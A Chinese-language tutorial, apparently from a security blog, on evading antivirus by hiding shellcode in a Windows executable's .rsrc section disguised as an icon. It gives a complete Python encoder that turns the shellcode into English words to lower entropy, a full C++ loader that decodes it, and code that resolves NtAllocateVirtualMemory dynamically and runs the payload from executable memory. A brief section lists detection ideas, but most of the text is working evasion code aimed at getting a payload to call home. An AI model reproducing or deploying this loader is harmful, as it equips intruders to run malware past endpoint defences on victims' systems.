基础免杀 从.rsrc加载shellcode上线
字数 1166 2025-08-22 12:22:30
从.rsrc加载shellcode上线 - 基础免杀技术详解
1. 技术背景与原理
.rsrc段是PE文件中的一个特定部分,专门用来存储资源数据。这些资源通常包括:
- 图标
- 位图
- 字符串表
- 对话框
- 菜单
- 版本信息
- 字体等
在免杀技术中,我们可以利用.rsrc段来存储shellcode,因为:
- 资源段通常不会被安全软件重点检查
- 可以伪装成正常的资源文件(如图标)
- 资源数据在内存中具有只读属性,可以绕过一些内存检测
2. 核心API函数
实现从.rsrc加载shellcode需要以下关键Windows API:
2.1 资源操作API
FindResource: 获取指定资源的信息块的句柄LoadResource: 获取资源的句柄LockResource: 获取指向资源第一个字节的指针SizeofResource: 获取指定资源的大小
2.2 内存操作API
VirtualAlloc: 分配可执行内存memcpy: 复制内存内容GetProcAddress: 动态获取API地址LoadLibrary: 加载动态链接库
3. 实现步骤详解
3.1 准备shellcode资源
- 将shellcode修改扩展名为.ico(伪装成图标文件)
- 将文件导入到项目资源中
- 设置资源类型为
RCDATA(表示自定义数据)
3.2 加载并执行shellcode
// 1. 查找资源
HRSRC hRsrc = FindResource(NULL, MAKEINTRESOURCE(IDR_RCDATA1), RT_RCDATA);
// 2. 加载资源
HGLOBAL hGlobal = LoadResource(NULL, hRsrc);
// 3. 获取资源地址和大小
LPVOID addr = LockResource(hGlobal);
size_t len = SizeofResource(NULL, hRsrc);
// 4. 分配可执行内存
LPVOID buf = VirtualAlloc(NULL, len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// 5. 复制资源内容到可执行内存
memcpy(buf, addr, len);
// 6. 执行shellcode
typedef void (*ShellcodeFunc)();
ShellcodeFunc execShellcode = (ShellcodeFunc)buf;
execShellcode();
3.3 熵值问题与解决方案
直接存储原始shellcode会导致.rsrc段的熵值过高(可达7.99),容易被检测。解决方案是将shellcode转换为英文单词形式:
3.3.1 Python编码脚本
import random
import sys
ascii_strings = ['Ably', 'Afar', 'Area', 'Army', 'Away', 'Baby', 'Back', 'Ball', 'Band', 'Bank',
'Base', 'Bear', 'Beat', 'Bill', 'Body', 'Book', 'Burn', 'Call', 'Card', 'Care',
# ... 省略部分单词 ...
'Word', 'Work', 'Year']
# 多态化 - 每次table不一样
random.shuffle(ascii_strings)
if len(sys.argv) < 2:
print("Usage: python script.py <input_file>")
sys.exit(1)
with open(sys.argv[1], "rb") as f:
raw = f.read()
# 将每个字节转换为对应的单词
encoded = "".join([ascii_strings[x % len(ascii_strings)] + "\x00" for x in raw])
# 保存转换表
with open("table.ico", "w") as fh:
fh.write('"{}"'.format("\",\"".join(ascii_strings)))
# 保存编码后的shellcode
with open("shellcode.ico", "w") as fh:
fh.write('''"{}"'''.format(encoded.replace('"', '\\"')))
3.3.2 C++解码实现
vector<string> parse_resource_data(LPVOID addr, size_t len) {
unsigned char* data = reinterpret_cast<unsigned char*>(addr);
vector<string> parsed_strings;
stringstream current_string;
for (size_t i = 0; i < len; ++i) {
if (data[i] == 0x22) { // 双引号ASCII码
if (!current_string.str().empty()) {
parsed_strings.push_back(current_string.str());
current_string.str("");
}
}
else if (data[i] != 0x2c && data[i] != 0x20) {
current_string << static_cast<char>(data[i]);
}
}
return parsed_strings;
}
vector<unsigned char> restoreShellcode(LPVOID addr, size_t len, const vector<string>& table) {
unordered_map<string, int> indexMap;
for (size_t i = 0; i < table.size(); ++i) {
indexMap[table[i]] = i;
}
vector<unsigned char> shellcode;
string current_string;
unsigned char* data = reinterpret_cast<unsigned char*>(addr);
for (size_t i = 0; i < len; ++i) {
if (data[i] == 0x00) { // 遇到0x00表示一个字符串结束
if (!current_string.empty()) {
auto it = indexMap.find(current_string);
if (it != indexMap.end()) {
shellcode.push_back(it->second);
}
current_string.clear();
}
}
else {
current_string += static_cast<char>(data[i]);
}
}
return shellcode;
}
3.4 完整实现代码
#include <Windows.h>
#include <iostream>
#include "resource.h"
#include <vector>
#include <string>
#include <sstream>
#include <unordered_map>
typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemory)(
IN HANDLE ProcessHandle,
IN OUT PVOID* BaseAddress,
IN ULONG ZeroBits,
IN OUT PSIZE_T RegionSize,
IN ULONG AllocationType,
IN ULONG Protect);
using namespace std;
// 解析资源数据为字符串表
vector<string> parse_resource_data(LPVOID addr, size_t len) {
/* 同上,省略 */
}
// 从编码的字符串恢复原始shellcode
vector<unsigned char> restoreShellcode(LPVOID addr, size_t len, const vector<string>& table) {
/* 同上,省略 */
}
int main() {
// 1. 加载转换表资源
HRSRC hRsrcTable = FindResource(NULL, MAKEINTRESOURCE(IDR_RCDATA2), RT_RCDATA);
HGLOBAL hGlobalTable = LoadResource(NULL, hRsrcTable);
LPVOID addr = LockResource(hGlobalTable);
size_t len = SizeofResource(NULL, hRsrcTable);
vector<string> table = parse_resource_data(addr, len);
// 2. 加载编码的shellcode资源
HRSRC hRsrc = FindResource(NULL, MAKEINTRESOURCE(IDR_RCDATA1), RT_RCDATA);
HGLOBAL hGlobal = LoadResource(NULL, hRsrc);
addr = LockResource(hGlobal);
len = SizeofResource(NULL, hRsrc);
// 3. 解码shellcode
auto shellcode = restoreShellcode(addr, len, table);
// 4. 分配可执行内存
LPVOID lpMem = nullptr;
SIZE_T uSize = shellcode.size();
// 使用动态API调用降低静态检测风险
const char str1[] = {'N','t','A','l','l','o','c','a','t','e','V','i','r','t','u','a','l','M','e','m','o','r','y','\0'};
pNtAllocateVirtualMemory NtAllocateVirtualMemory = (pNtAllocateVirtualMemory)GetProcAddress(LoadLibrary(L"ntdll.dll"), str1);
NTSTATUS status = NtAllocateVirtualMemory(GetCurrentProcess(), &lpMem, 0, &uSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// 5. 复制并执行shellcode
memcpy(lpMem, shellcode.data(), shellcode.size());
typedef void (*ShellcodeFunc)();
ShellcodeFunc execShellcode = (ShellcodeFunc)lpMem;
execShellcode();
return 0;
}
4. 免杀技术要点
- 资源伪装:将shellcode伪装成图标资源,降低可疑性
- 熵值控制:通过单词编码降低资源段的熵值
- 动态API调用:使用
GetProcAddress动态获取API地址,避免静态分析 - 多态性:每次编码使用不同的单词顺序,增加样本多样性
- 内存属性:原始资源在内存中为只读,复制到可执行内存后运行
5. 防御与检测
防御此类攻击可以从以下几个方面入手:
- 资源段监控:监控程序对资源段的异常访问
- 熵值检测:检测PE文件中异常高熵的资源段
- API调用序列:检测FindResource/LoadResource/LockResource等API的异常调用序列
- 内存行为:检测从只读内存区域复制数据到可执行内存的行为
6. 总结
通过.rsrc段加载shellcode是一种有效的免杀技术,它利用了PE文件资源段的特性和安全软件对资源段的相对宽松检查。结合熵值控制、动态API调用等技术,可以显著提高绕过安全检测的概率。防御方需要结合多种检测手段才能有效防御此类攻击。